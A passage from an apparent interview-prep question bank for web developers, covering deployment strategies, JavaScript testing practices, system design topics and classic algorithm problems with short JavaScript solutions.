metadata: { name: api }
spec:
  selector: { app: api }
  ports: [{ port: 80, targetPort: 3000 }]
```

🔗 Likely follow-up: What happens step by step when a pod crashes?

114

## CI vs continuous delivery vs continuous deployment?

Docker, CI/CD & Deployment

Easy



#ci/cd

- **Continuous Integration:** every push or PR is automatically built and tested (lint, unit tests, build). Developers merge small changes often, so problems surface early.
- **Continuous Delivery:** every change that passes the pipeline is **always in a releasable state** and deployed to staging; production release is a **manual** button.
- **Continuous Deployment:** no manual step; every green change goes straight to production.

Continuous deployment needs strong tests, feature flags, monitoring and quick rollback.

115

## Blue-green vs canary vs rolling deployments?

Docker, CI/CD &amp; Deployment

Medium



#deployment

- **Rolling:** replace instances a few at a time. No extra infrastructure, but old and new versions run side by side for a while, and rollback is another rollout. Kubernetes default.
- **Blue-green:** run a full new environment (green) next to the live one (blue), test it, then **switch all traffic at once** at the load balancer. Instant rollback (switch back), but double the resources during the release.
- **Canary:** send a small share of traffic (1%, 5%, 25%...) to the new version, watch error rates and latency, then increase. Limits the blast radius; needs good metrics and traffic splitting.

All of them require backward-compatible DB changes, because two versions may be live at once.

**Likely follow-up:** How do you handle a database migration during a blue-green deploy?

116

## What is the difference between unit, integration and end-to-end tests?

Testing

Easy



#basics #strategy

- **Unit:** tests one small piece (a function, a hook, a component) in isolation, with its dependencies mocked. Very fast, precise failures, but cannot prove the pieces work together.
- **Integration:** tests several units working together, such as a component with its child components and a mocked network, or an API route hitting a real test database. Slower, but catches wiring bugs.
- **End-to-end (E2E):** drives the **real app through a real browser** like a user (Playwright, Cypress): sign up, add to cart, pay. Highest confidence, but slowest and most prone to flakiness.

A good suite mixes all three, weighted towards the cheap ones.

**Likely follow-up:** Which of these would you write for a checkout feature?

117

## Jest vs Vitest: what are the basics of writing a test?

Testing

Easy



#jest #vitest

Both are test runners with the same API: `describe` groups tests, `it` / `test` defines one, `expect` with **matchers** asserts (`toBe`, `toEqual`, `toHaveBeenCalledWith`, `toThrow`). Hooks like `beforeEach` and `afterEach` handle setup and teardown.

- `toBe` uses `Object.is` (same reference), `toEqual` compares structure
- `jest.fn()` / `vi.fn()` create mock functions

**Vitest** is the modern default for Vite and most new projects: it reuses the Vite config, supports ESM and TypeScript natively, and is very fast in watch mode. **Jest** is older and still widespread (React Native, many existing codebases). Migrating is mostly a find-and-replace of `jest` with `vi`.

### Example

```
import { describe, expect, it } from 'vitest'
import { slugify } from './slugify'

describe('slugify', () => {
  it('lowercases and joins words with dashes', () => {
    expect(slugify('Hello World')).toBe('hello-world')
  })
  it('removes special characters', () => {
    expect(slugify('Rock & Roll!')).toBe('rock-roll')
  })
})
```

? Likely follow-up: What is the difference between `toBe` and `toEqual`?

118

## What is the difference between mocks, stubs, spies and fakes?

Testing

Medium



#mocking

They are all **test doubles**, stand-ins for real dependencies:

- **Stub**: returns canned answers (`getUser` always returns Asha). You do not check how it was called.
- **Spy**: wraps or records calls to a function so you can assert on them (called once, with these arguments). `vi.spyOn` can keep the real implementation.

- **Mock**: a double with expectations about how it is used; in Jest/Vitest, `vi.fn()` is both a stub and a spy.
- **Fake**: a working lightweight implementation (an in-memory database, a fake clock).

Mock at the **boundaries** (network, time, randomness, payments), not your own internal modules, or tests break on every refactor while missing real bugs.

#### Example

```
// a hand-rolled vi.fn(): a stub that is also a spy
function fn(impl = () => undefined) {
  const spy = (...args) => { spy.calls.push(args); return impl(...args) }
  spy.calls = []
  return spy
}

const sendEmail = fn(() => ({ ok: true })) // stubbed result

function register(user, mailer) { return mailer(user.email, 'Welcome!') }

console.log(register({ email: 'a@b.com' }, sendEmail)) // { ok: true }
console.log(sendEmail.calls.length, sendEmail.calls[0]) // 1 [a@b.com, Welcome!]
```

 **Likely follow-up:** What are the dangers of over-mocking?

119

## What is the philosophy of React Testing Library?

Testing

Easy



#react testing library #react

"The more your tests resemble the way your software is used, the more confidence they can give you."

So RTL tests the component **like a user would**: render it, find elements by what users see (role, label, text), interact, and assert on the visible result. It deliberately does not give easy access to state, props or component instances.

Benefits:

- tests survive refactors (switching to `useReducer` or a store does not break them)
- they fail when the user experience actually breaks
- querying by role nudges you towards accessible markup

Avoid testing implementation details: internal state, function names, CSS classes, or how many times a component rendered.

120

Which React Testing Library queries should you use, and what is the difference between `getBy`, `queryBy` and `findBy`?

Testing

Medium



#react testing library #react

Priority order: `getByRole` (with `{ name }`) first, then `getByLabelText`, `getByPlaceholderText`, `getByText`, and `getByTestId` only as a **last resort**.

The prefix decides behaviour:

- `getBy...`: returns the element or **throws** if missing; use for things that should be there
- `queryBy...`: returns `null` if missing; use to assert something is **not** there
- `findBy...`: returns a **promise** that retries until the element appears (default 1s); use for async UI

Each has an `All` version for multiple matches. Use `screen` for queries and `@testing-library/user-event` for interactions, since it simulates full user behaviour (focus, key presses) rather than single events like `fireEvent`.

#### Example

```
it('shows an error for an invalid email', async () => {
  const user = userEvent.setup()
  render(<SignupForm />)

  await user.type(screen.getByLabelText(/email/i), 'not-an-email')
  await user.click(screen.getByRole('button', { name: /sign up/i }))

  expect(await screen.findByRole('alert')).toHaveTextContent(/valid
email/i)
  expect(screen.queryByText(/welcome/i)).not.toBeInTheDocument()
})
```

121

What would you test in a React component?

Testing

Medium



#react #strategy

Test **behaviour from the user's point of view**, focusing on what could realistically break:

- it renders the right content for given props (and empty, loading and error states)
- user interactions produce the right result: typing, clicking, submitting
- callbacks are called with the right data (`onSubmit` receives the form values)
- conditional UI: shown or hidden based on state or permissions
- accessibility basics: labels, roles, focus after actions
- data fetching with the network mocked (success and failure)

Skip: third-party library internals, styling details, and trivial components with no logic. A good question to ask: "what would a bug here look like to the user?"

122

## How do you test asynchronous code?

Testing

Medium



#async

Make the test wait for the async work, otherwise it finishes before the assertion runs and passes falsely.

- `async` test functions with `await`: `await expect(fetchUser(1)).resolves.toEqual(user)` or `.rejects.toThrow()`
- in UI tests, `await screen.findBy...` or `await waitFor(() => expect(...))` to wait for the DOM to update
- **fake timers** (`vi.useFakeTimers()`, `vi.advanceTimersByTime(500)`) for debounce, polling and timeouts, so tests do not actually wait
- mock the network so responses are deterministic

A classic bug is a forgotten `await` or `return` on a promise, which makes a test **pass no matter what**.

### Example

```
async function fetchUser(id, api) {
  const res = await api(id)
  if (!res.ok) throw new Error('Not found')
  return res.data
}

const api = async (id) => (id === 1 ? { ok: true, data: { name: 'Asha' } }
: { ok: false })

// expect(fetchUser(1, api)).resolves / .rejects in Jest or Vitest
console.log(await fetchUser(1, api))
try { await fetchUser(2, api) } catch (e) { console.log('rejected:',
e.message) }
```

? Likely follow-up: How do fake timers work?

123

## What is TDD? What are its pros and cons?

Testing Easy 🔥🔥 #tdd #process

**Test-driven development** follows a short loop: **red, green, refactor**.

1. write a failing test for the next small behaviour
2. write the simplest code that makes it pass
3. clean up the code with the test as a safety net

Pros: forces you to think about the API and edge cases first, gives high coverage by design, encourages small decoupled units, and gives quick feedback.

Cons: slower at the start, awkward when requirements are unclear or for exploratory UI work, and tests can over-specify implementation if you are not careful.

A balanced answer: TDD works very well for business logic, parsers and bug fixes (write the failing test that reproduces the bug first).

124

## Vertical vs horizontal scaling?

System Design Easy 🔥🔥 #scalability

**Vertical scaling (scale up):** a bigger machine, more CPU, RAM or faster disks. Simple, no code changes, but there is a hardware ceiling, it gets expensive, and the box is still a single point of failure.

**Horizontal scaling (scale out):** **add more machines** behind a load balancer. Near-unlimited capacity and built-in redundancy, but the app must be **stateless** (sessions in Redis, files in S3) and you take on distributed-system problems: consistency, coordination, network failures.

In practice: scale the stateless app tier horizontally, scale the database vertically as long as you can, then add read replicas and sharding.

? Likely follow-up: What makes a service hard to scale horizontally?

125

## What does a load balancer do? Which algorithms are common?

System Design

Easy



#load balancing #scalability

A load balancer spreads requests across healthy servers, runs **health checks** to remove dead ones, and often terminates TLS.

- **L4** (TCP/UDP) balancers route by IP and port: very fast, content-blind
- **L7** (HTTP) balancers can route by path, header or cookie

Algorithms:

- **round robin** (optionally weighted): simple, good for equal servers and short requests
- **least connections**: better when request durations vary
- **IP hash / consistent hashing**: the same client goes to the same server (sticky), useful for caches
- **random of two choices**: pick two at random, send to the less loaded

The balancer itself must be redundant (active-passive pair, or a managed cloud LB), or it **becomes the single point of failure**.

126

## Explain caching strategies: cache-aside, write-through, write-back.

System Design

Medium



#caching

- **Cache-aside (lazy loading)**: the app reads the cache; on a miss it reads the DB and fills the cache. On write it updates the DB and **deletes** the cache key. Most common; only hot data is cached, but the first read is slow and data can be briefly stale.
- **Read-through**: same idea, but the cache library loads from the DB itself.
- **Write-through**: every write goes to the cache and the DB synchronously. Cache is always fresh; writes are slower.
- **Write-back (write-behind)**: write to the cache only and flush to the DB later in batches. Very fast writes, but **data is lost if the cache dies** before flushing.

Pick by read/write ratio and how much staleness or data loss you can tolerate. Always set a **TTL** as a safety net.

#### Example

```
const db = new Map([[ 'user:1', { name: 'Asha' } ]])
const cache = new Map()
function getUser(key) {
  if (cache.has(key)) return { from: 'cache', v: cache.get(key) }
  const v = db.get(key) // miss: load from DB
  cache.set(key, v) // and populate
  return { from: 'db', v }
}
function updateUser(key, v) {
  db.set(key, v)
  cache.delete(key) // invalidate, don't update
}
console.log(getUser('user:1').from) // db
console.log(getUser('user:1').from) // cache
updateUser('user:1', { name: 'Ben' })
console.log(getUser('user:1')) // db, fresh value
```

? Likely follow-up: Why delete the cache key on write instead of updating it?

127

## What is sharding? How do you choose a shard key?

System Design

Hard



#databases #sharding

**Sharding** (horizontal partitioning) splits one table's rows across several databases, so each holds a subset. It scales **writes** and storage, which replicas cannot.

Strategies:

- **range** (by date, A-M / N-Z): easy range scans, but risks hot spots
- **hash** of the key: even spread, but range queries hit every shard
- **directory/lookup**: a service maps keys to shards, flexible but one more component

A good **shard key** has high cardinality, spreads load evenly and **keeps most queries on a single shard** (e.g. `user_id` for a per-user app).

Costs: cross-shard joins and transactions are hard, rebalancing is painful, and celebrity keys create hot shards. Shard only after caching, replicas and vertical scaling are exhausted.

? Likely follow-up: How do you handle a hot shard caused by one celebrity user?

128

## Explain the CAP theorem and PACELC.

System Design

Medium



#distributed systems #consistency

**CAP:** in a distributed data store, when a **network partition** happens you must choose between:

- **Consistency:** every read sees the latest write (or gets an error)
- **Availability:** every request gets a non-error response, possibly stale

Partitions are unavoidable, so the real choice is **CP or AP during a partition**. Banking ledgers, inventory and locks lean CP (etcd, ZooKeeper, HBase); social feeds and carts lean AP (Cassandra, DynamoDB default).

**PACELC** adds the normal case: if Partition, choose A or C; **Else**, choose **Latency or Consistency**. Even without failures, synchronous replication costs latency. Cassandra is PA/EL; a classic RDBMS cluster is PC/EC.

? Likely follow-up: Is MongoDB CP or AP?

129

## SQL vs NoSQL: how do you choose?

System Design

Easy



#databases

**SQL (Postgres, MySQL):** fixed schema, joins, **ACID** transactions, powerful ad-hoc queries. Choose it for relational data and correctness: payments, orders, users. Scales with replicas, partitioning and, eventually, sharding.

**NoSQL** families:

- **key-value** (Redis, DynamoDB): simple, extremely fast lookups
- **document** (MongoDB): flexible JSON, data read together stored together
- **wide-column** (Cassandra): huge write throughput, time series
- **graph** (Neo4j): relationships, recommendations

Choose by **access patterns**, consistency needs, scale and team skill. "Postgres by default" is a reasonable answer; add a NoSQL store where a specific pattern (massive writes, cache, flexible schema) demands it.

130

## Why use a message queue? Kafka vs RabbitMQ? Queue vs pub/sub?

System Design

Medium



#messaging #async

Queues **decouple** producers from consumers: absorb traffic spikes, do slow work asynchronously (emails, video encoding), retry failures, and let services fail independently.

- **Queue (point-to-point)**: each message is processed by **one** consumer of a pool
- **Pub/sub**: each message goes to **every** subscriber group

**RabbitMQ**: a classic broker with flexible routing (exchanges), per-message acks, and messages deleted once consumed. Great for task queues.

**Kafka**: a **distributed, append-only log**. Messages are kept for days, consumers track their own offsets and can replay, ordering is guaranteed per partition, and throughput is huge. Great for event streaming, analytics and event sourcing.

Delivery is usually **at-least-once**, so consumers must be idempotent.

? **Likely follow-up**: How do you guarantee ordering in Kafka?

131

## Microservices vs monolith?

System Design

Medium



#architecture #microservices

**Monolith**: one deployable. Simple to develop, test, debug and deploy; in-process calls are fast and transactions easy. It hurts when a large team steps on each other and everything must scale and deploy together.

**Microservices**: small services owned by teams, each with its own database, deployed independently and scaled separately, possibly in different languages. The cost: network calls and partial failures, distributed transactions, eventual consistency, observability, and a lot of DevOps.

A good answer: **start with a modular monolith**, with clear module boundaries, and extract services when there is a real reason (team size, very different scaling needs, independent release cadence). Avoid a "distributed monolith" where services must deploy together.

132

## What are the common rate limiting algorithms?

System Design

Medium



#rate limiting

- **Fixed window counter:** count per minute bucket. Simple, but allows bursts of 2x at window edges.
- **Sliding window log:** store each request timestamp; exact but memory-heavy.
- **Sliding window counter:** blend the current and previous window counts by overlap; cheap and accurate enough.
- **Token bucket:** a bucket of capacity B refills at rate R; each request takes a token. **Allows short bursts** while enforcing an average rate. Most popular (AWS, Stripe).
- **Leaky bucket:** requests queue and drain at a constant rate; smooths output.

Return `429 Too Many Requests` with a `Retry-After` header.

### Example

```
function tokenBucket(capacity, refillPerSec) {
  let tokens = capacity
  let last = Date.now()
  return function allow(now = Date.now()) {
    tokens = Math.min(capacity, tokens + ((now - last) / 1000) *
refillPerSec)
    last = now
    if (tokens >= 1) { tokens -= 1; return true }
    return false
  }
}

const allow = tokenBucket(3, 1) // burst 3, then 1 per second
const t0 = Date.now()
console.log([0, 0, 0, 0].map(() => allow(t0))) // true true true false
console.log(allow(t0 + 1000)) // true: one token
refilled
```

133

## Design a URL shortener (like bit.ly).

System Design

Medium



#design

**Requirements:** shorten a URL, redirect fast, optional custom alias and expiry, analytics. Read-heavy (~100:1). Example: 100M new URLs/month, ~40 writes/s, ~4K reads/s.

**API:** `POST /urls {longUrl}` returns `{code}`; `GET /{code}` returns a **301/302** redirect (302 if you need click analytics).

**Data model:** `urls(code PK, long_url, user_id, created_at, expires_at)`. A key-value store or sharded SQL both work.

**Code generation:** 7 chars of base62 gives 3.5 trillion codes. Best: **a unique counter ID encoded in base62** (counter ranges handed out per server, or Snowflake IDs). Hashing the URL needs collision checks.

**Scaling:** cache hot codes in Redis and the CDN, read replicas, async click events to Kafka for analytics.

**Trade-offs:** sequential codes are guessable (add a shuffle), 301 is cached by browsers so it loses analytics.

#### Example

```
const ALPHABET =
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
function toBase62(n) {
  let s = ''
  do { s = ALPHABET[n % 62] + s; n = Math.floor(n / 62) } while (n > 0)
  return s
}
function fromBase62(s) {
  return [...s].reduce((n, c) => n * 62 + ALPHABET.indexOf(c), 0)
}
const id = 125_000_000_000
const code = toBase62(id)
console.log(code, fromBase62(code) === id)
console.log('7-char codes:', (62 ** 7).toLocaleString())
```

 **Likely follow-up:** How do you stop two servers generating the same code?

134

**What is Big-O? Give the complexity of common operations.**

DSA

Easy



#complexity

**Big-O** describes how time or memory **grows with input size** in the worst case, ignoring constants: `O(2n + 5)` is `O(n)`.

Common operations:

- array index access  $O(1)$ , search  $O(n)$ , push/pop at end  $O(1)$  amortised, insert/remove at front  $O(n)$
- hash map get/set/delete  $O(1)$  average,  $O(n)$  worst
- binary search on a sorted array  $O(\log n)$
- balanced BST or heap insert/remove  $O(\log n)$ , heap peek  $O(1)$
- good comparison sorts  $O(n \log n)$
- nested loops over the input  $O(n^2)$ , all subsets  $O(2^n)$ , all permutations  $O(n!)$

Rule of thumb: about  $10^8$  simple operations per second, so  $n = 10^5$  needs  $O(n \log n)$  or better.

🔗 Likely follow-up: What does amortised  $O(1)$  mean for a dynamic array push?

135

## Two Sum: find indices of two numbers that add up to a target.

DSA Easy 🔥 #hash map #arrays #coding

Brute force checks every pair:  $O(n^2)$ .

Better: walk the array once with a **hash map** from value to index. For each number, check whether its complement `target - x` was already seen. If yes, return both indices; otherwise store the current number.

- Time  $O(n)$ , space  $O(n)$
- If the array is sorted, two pointers give  $O(1)$  space

This "store what you have seen in a map" trick solves a whole family of problems (subarray sum equals k, pairs with difference k).

### Example

```
function twoSum(nums, target) {
  const seen = new Map() // value -> index
  for (let i = 0; i < nums.length; i++) {
    const need = target - nums[i]
    if (seen.has(need)) return [seen.get(need), i]
    seen.set(nums[i], i)
  }
  return []
}

console.log(twoSum([2, 7, 11, 15], 9)) // [0, 1]
console.log(twoSum([3, 2, 4], 6)) // [1, 2]
console.log(twoSum([3, 3], 6)) // [0, 1]
```

🔗 Likely follow-up: Now find all unique triplets that sum to zero (3Sum).

136

## Reverse a singly linked list.

DSA

Easy



#linked list #coding

Walk the list once and flip each `next` pointer to point backwards. Keep three pointers: `prev` (already reversed part), `curr`, and `next` (saved before you overwrite `curr.next`).

At the end `prev` is the new head.

- Time `O(n)`, space `O(1)` iteratively
- The recursive version is `O(n)` space for the call stack

The key is to **save `next` before rewiring**, or you lose the rest of the list.

### Example

```
const node = (val, next = null) => ({ val, next })
const fromArray = (a) => a.reduceRight((next, v) => node(v, next), null)
const toArray = (h) => { const out = []; for (; h; h = h.next)
  out.push(h.val); return out }

function reverse(head) {
  let prev = null
  let curr = head
  while (curr) {
    const next = curr.next // save
    curr.next = prev       // flip
    prev = curr
    curr = next
  }
  return prev
}

console.log(toArray(reverse(fromArray([1, 2, 3, 4, 5]))))
console.log(toArray(reverse(fromArray([]))))
```

137

## Detect a cycle in a linked list (Floyd's algorithm).

DSA

Medium



#linked list #two pointers #coding

**Floyd's tortoise and hare:** move **slow** one step and **fast** two steps at a time. If there is no cycle, **fast** reaches **null**. If there is one, fast enters the loop and **gains one step per iteration**, so it must eventually land on slow.

- Time  $O(n)$ , space  $O(1)$  (a hash set of visited nodes also works but uses  $O(n)$  space)

To find where the cycle **starts**: after they meet, reset one pointer to the head and move both one step at a time; they meet at the cycle entrance.

The same fast/slow idea finds the middle of a list.

## Example

```
function cycleStart(head) {
  let slow = head, fast = head
  while (fast && fast.next) {
    slow = slow.next
    fast = fast.next.next
    if (slow === fast) {
      slow = head
      while (slow !== fast) { slow = slow.next; fast = fast.next }
      return slow // entrance of the cycle
    }
  }
  return null
}

const nodes = [1, 2, 3, 4, 5].map((val) => ({ val, next: null }))
nodes.forEach((n, i) => (n.next = nodes[i + 1] ?? null))
console.log(cycleStart(nodes[0])) // null: no cycle
nodes[4].next = nodes[2] // 5 -> 3
console.log(cycleStart(nodes[0]).val) // 3
```

138

## Valid parentheses: check that brackets are balanced.

DSA

Easy



#stack #strings #coding

Use a **stack**. Push every opening bracket. On a closing bracket, the top of the stack must be **the matching opener**; pop it, otherwise the string is invalid. At the end the stack must

be empty.

- Time  $O(n)$ , space  $O(n)$

Edge cases interviewers check: an empty string (valid), a closer with an empty stack `()`, and leftover openers `((()`.

Stacks are the go-to for anything "most recent unmatched": undo, expression evaluation, next greater element (monotonic stack).

#### Example

```
function isValid(s) {
  const pairs = { ')': '(', ']': '[', '}': '{' }
  const stack = []
  for (const ch of s) {
    if (ch in pairs) {
      if (stack.pop() !== pairs[ch]) return false
    } else stack.push(ch)
  }
  return stack.length === 0
}
for (const s of ['()[]{}', '([{}])', '(', '[)', '(', '[', ''])
  console.log(JSON.stringify(s), isValid(s))
```

139

### Implement binary search. What is "binary search on the answer"?

DSA

Medium



#binary search #coding

On a **sorted** array, compare with the middle and discard half each step:  $O(\log n)$  time,  $O(1)$  space. Use `lo + Math.floor((hi - lo) / 2)` and be precise about the loop condition and bounds to avoid infinite loops.

**Binary search on the answer:** when the answer is a number in a range and a check `ok(x)` is **monotonic** (false, false, true, true...), binary search for the first `x` that works. Examples: minimum ship capacity to ship packages in D days, Koko eating bananas, square root.

Time:  $O(\log(\text{range}) * \text{cost of ok})$ .

### Example

```
function search(arr, target) {
  let lo = 0, hi = arr.length - 1
  while (lo <= hi) {
    const mid = lo + Math.floor((hi - lo) / 2)
    if (arr[mid] === target) return mid
    if (arr[mid] < target) lo = mid + 1
    else hi = mid - 1
  }
  return -1
}

console.log(search([1, 3, 5, 7, 9, 11], 7), search([1, 3, 5], 4))

// On the answer: smallest capacity to ship weights within D days
function shipWithinDays(w, days) {
  const daysNeeded = (cap) => { let d = 1, load = 0; for (const x of w) {
    if (load + x > cap) { d++; load = 0 } load += x } return d }
  let lo = Math.max(...w), hi = w.reduce((a, b) => a + b)
  while (lo < hi) { const mid = Math.floor((lo + hi) / 2); if
    (daysNeeded(mid) <= days) hi = mid; else lo = mid + 1 }
  return lo
}

console.log(shipWithinDays([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], 5)) // 15
```

140

## Longest substring without repeating characters (sliding window).

DSA

Medium



#sliding window #strings #coding

A **sliding window** keeps a range `[left, right]` that satisfies a condition. Expand `right` one step at a time; when the window breaks the rule, move `left` forward until it is valid again. Each index enters and leaves once, so it is  $O(n)$  instead of checking every substring.

Here, store each character's last index in a map. When a repeat appears inside the window, jump `left` past its previous position.

- Time  $O(n)$ , space  $O(k)$  for the alphabet

Use it for "longest/shortest subarray or substring such that...": max sum of size k, minimum window substring, longest with at most k distinct.

### Example

```
function lengthOfLongestSubstring(s) {  
  const last = new Map() // char -> last index seen  
  let left = 0, best = 0  
  for (let right = 0; right < s.length; right++) {  
    const ch = s[right]  
    if (last.has(ch) && last.get(ch) >= left) left = last.get(ch) + 1  
    last.set(ch, right)  
    best = Math.max(best, right - left + 1)  
  }  
  return best  
}  
  
console.log(lengthOfLongestSubstring('abcabcbb')) // 3 (abc)  
console.log(lengthOfLongestSubstring('bbbbbb')) // 1  
console.log(lengthOfLongestSubstring('pwwkew')) // 3 (wke)  
console.log(lengthOfLongestSubstring('')) // 0
```

 **Likely follow-up:** Find the minimum window substring containing all characters of t.

141

## Maximum subarray sum (Kadane's algorithm).

DSA

Medium



#dp #arrays #coding

At each element decide: **extend the previous subarray or start fresh here.**  $cur = \max(x, cur + x)$ ; if the running sum went negative it can only hurt, so drop it. Track the best  $cur$  seen.

- Time  $O(n)$ , space  $O(1)$

Initialise with the first element (not 0) so an all-negative array returns its largest element.

This is a tiny dynamic programming problem:  $cur$  is the best sum of a subarray ending at index  $i$ . Variations: maximum product subarray (track min and max), circular array.

### Example

```
function maxSubArray(nums) {
  let cur = nums[0], best = nums[0]
  for (let i = 1; i < nums.length; i++) {
    cur = Math.max(nums[i], cur + nums[i])
    best = Math.max(best, cur)
  }
  return best
}
console.log(maxSubArray([-2, 1, -3, 4, -1, 2, 1, -5, 4])) // 6
([4,-1,2,1])
console.log(maxSubArray([-3, -1, -2])) // -1
console.log(maxSubArray([5, 4, -1, 7, 8])) // 23
```

142

## Merge overlapping intervals.

DSA

Medium



#intervals #sorting #coding

**Sort by start**, then sweep. Keep the last merged interval; if the next one starts **at or before its end**, extend the end to the max of both ends; otherwise push it as a new interval.

- Time  $O(n \log n)$  for the sort, space  $O(n)$  for the output

Related interval problems use the same sort-then-sweep idea: insert interval, meeting rooms (can one person attend all?), minimum meeting rooms (sort starts and ends separately, or use a min-heap of end times), non-overlapping intervals.

### Example

```
function merge(intervals) {
  const sorted = [...intervals].sort((a, b) => a[0] - b[0])
  const out = []
  for (const [s, e] of sorted) {
    const last = out[out.length - 1]
    if (last && s <= last[1]) last[1] = Math.max(last[1], e)
    else out.push([s, e])
  }
  return out
}

console.log(JSON.stringify(merge([[1, 3], [2, 6], [8, 10], [15, 18]])))
// [[1,6],[8,10],[15,18]]
console.log(JSON.stringify(merge([[1, 4], [4, 5]])))
// [[1,5]]
console.log(JSON.stringify(merge([[1, 4], [0, 4]])))
// [[0,4]]
```

? Likely follow-up: What is the minimum number of meeting rooms required?

143

## Find the top K frequent elements. How does a heap help?

DSA

Medium



#heap #hash map #coding

Count frequencies with a hash map, then keep a **min-heap of size k**: push each item, and if the heap grows past k, pop the smallest. What remains are the k largest.

- Time  $O(n \log k)$ , space  $O(n)$  for the counts
- Alternative: **bucket sort** by frequency (index = count) for  $O(n)$

A heap gives  $O(\log n)$  insert and remove of the min (or max) and  $O(1)$  peek.

JavaScript has no built-in heap, so be ready to write a small one (below) or explain that you would.

Use heaps for: top k, k closest points, merging k sorted lists, running median (two heaps), Dijkstra.

### Example

```
class MinHeap {
  constructor(key) { this.a = []; this.key = key }
  get size() { return this.a.length }
  push(x) { const a = this.a; a.push(x); let i = a.length - 1
    while (i > 0) { const p = (i - 1) >> 1; if (this.key(a[p]) <=
this.key(a[i])) break; [a[p], a[i]] = [a[i], a[p]]; i = p } }
  pop() { const a = this.a, top = a[0], last = a.pop()
    if (a.length) { a[0] = last; let i = 0
      while (true) { let m = i; const l = 2 * i + 1, r = l + 1
        if (l < a.length && this.key(a[l]) < this.key(a[m])) m = l
        if (r < a.length && this.key(a[r]) < this.key(a[m])) m = r
        if (m === i) break; [a[m], a[i]] = [a[i], a[m]]; i = m } }
      return top }
}

function topKFrequent(nums, k) {
  const count = new Map()
  for (const n of nums) count.set(n, (count.get(n) ?? 0) + 1)
  const heap = new MinHeap(([, c]) => c)
  for (const entry of count) { heap.push(entry); if (heap.size > k)
heap.pop() }
  return heap.a.map(([n]) => n)
}

console.log(topKFrequent([1, 1, 1, 2, 2, 3], 2)) // [2, 1] in some
order
console.log(topKFrequent([4, 4, 5, 6, 6, 6, 7], 1)) // [6]
```

144

## BFS vs DFS: how do they differ and when do you use each?

DSA

Medium



#graphs #bfs #dfs

**BFS** explores level by level using a **queue**. It finds the **shortest path in an unweighted graph** and suits "minimum steps" problems (word ladder, rotting oranges, nearest exit). Memory grows with the widest level.

**DFS** goes as deep as possible using **recursion or a stack**, then backtracks. Natural for exhaustive search, connected components, cycle detection, topological sort, path existence and backtracking (permutations, N-Queens). Memory grows with the depth.

Both are  $O(V + E)$  time and need a **visited** set on graphs (not on trees). Deep recursion can overflow the stack; switch to an explicit stack.

### Example

```
// Number of islands (DFS) and shortest path in a grid (BFS)
const grid = ['11000', '11010', '00011'].map((r) => [...r])
function islands(g) {
  const seen = new Set(), R = g.length, C = g[0].length
  const dfs = (r, c) => {
    if (r < 0 || c < 0 || r >= R || c >= C || g[r][c] !== '1' ||
    seen.has(r * C + c)) return
    seen.add(r * C + c); dfs(r + 1, c); dfs(r - 1, c); dfs(r, c + 1);
    dfs(r, c - 1)
  }
  let n = 0
  for (let r = 0; r < R; r++) for (let c = 0; c < C; c++) if (g[r][c] ===
  '1' && !seen.has(r * C + c)) { n++; dfs(r, c) }
  return n
}
function shortest(g, [sr, sc], [tr, tc]) {
  const q = [[sr, sc, 0]], seen = new Set([sr + ',' + sc])
  for (const [r, c, d] of q) { // array used as a queue
    if (r === tr && c === tc) return d
    for (const [nr, nc] of [[r + 1, c], [r - 1, c], [r, c + 1], [r, c -
    1]])
      if (g[nr]?.[nc] === '0' && !seen.has(nr + ',' + nc)) { seen.add(nr
      + ',' + nc); q.push([nr, nc, d + 1]) }
  }
  return -1
}
console.log('islands:', islands(grid)) // 2
console.log('steps:', shortest(grid, [2, 0], [0, 4])) // 6
```

145

Explain tree traversals: preorder, inorder, postorder, level order.

DSA

Easy



#trees #coding

Depth-first orders differ in **when you visit the node** relative to its children:

- **Preorder** (node, left, right): copy or serialise a tree
- **Inorder** (left, node, right): on a BST it gives **values in sorted order**
- **Postorder** (left, right, node): delete a tree, compute heights or sizes bottom-up

**Level order** (BFS with a queue) visits row by row: print levels, right side view, min depth.

All are  $O(n)$  time. DFS uses  $O(h)$  stack space ( $h$  = height,  $O(n)$  if skewed); level order uses  $O(w)$  for the widest level. Be ready to write inorder iteratively with an explicit stack.

### Example

```
const t = (val, left = null, right = null) => ({ val, left, right })
//      4
//     2  6
//    1 3 5 7
const root = t(4, t(2, t(1), t(3)), t(6, t(5), t(7)))
const pre = (n) => (n ? [n.val, ...pre(n.left), ...pre(n.right)] : [])
const post = (n) => (n ? [...post(n.left), ...post(n.right), n.val] : [])
function inorder(n) { // iterative
  const out = [], stack = []
  while (n || stack.length) {
    while (n) { stack.push(n); n = n.left }
    n = stack.pop(); out.push(n.val); n = n.right
  }
  return out
}
function levels(r) {
  const out = []; let q = r ? [r] : []
  while (q.length) { out.push(q.map((n) => n.val)); q = q.flatMap((n) => [n.left, n.right].filter(Boolean)) }
  return out
}
console.log('pre ', pre(root).join(' '))
console.log('in  ', inorder(root).join(' '))
console.log('post', post(root).join(' '))
console.log('levels', JSON.stringify(levels(root)))
```

146

Dynamic programming: memoisation vs tabulation (climbing stairs, coin change).

DSA

Medium



#dp #coding

DP applies when a problem has **overlapping subproblems** and **optimal substructure**. Define the state and the recurrence first.

- **Memoisation (top-down)**: write the natural recursion and cache results by state. Easy to derive; only computes needed states; recursion overhead.
- **Tabulation (bottom-up)**: fill a table from the base cases up in a loop. No recursion limit, and often you can **keep only the last few values** to save space.

**Climbing stairs** (1 or 2 steps):  $ways(n) = ways(n-1) + ways(n-2)$ ;  $O(n)$  time,  $O(1)$  space.

**Coin change** (fewest coins for amount):  $dp[a] = \min(dp[a - c] + 1)$  over coins;  
 $O(\text{amount} * \text{coins})$  time,  $O(\text{amount})$  space. Greedy fails for coins like [1, 3, 4] and amount 6.

#### Example

```
function climbMemo(n, memo = new Map()) { // top-down
  if (n <= 2) return n
  if (!memo.has(n)) memo.set(n, climbMemo(n - 1, memo) + climbMemo(n - 2, memo))
  return memo.get(n)
}

function climbTab(n) { // bottom-up, O(1) space
  let a = 1, b = 1
  for (let i = 2; i <= n; i++) [a, b] = [b, a + b]
  return b
}

function coinChange(coins, amount) {
  const dp = new Array(amount + 1).fill(Infinity)
  dp[0] = 0
  for (let a = 1; a <= amount; a++)
    for (const c of coins) if (c <= a) dp[a] = Math.min(dp[a], dp[a - c] + 1)
  return dp[amount] === Infinity ? -1 : dp[amount]
}

console.log(climbMemo(10), climbTab(10), climbTab(45)) // 89 89 1836311903
console.log(coinChange([1, 3, 4], 6)) // 2 (3+3), greedy would give 3
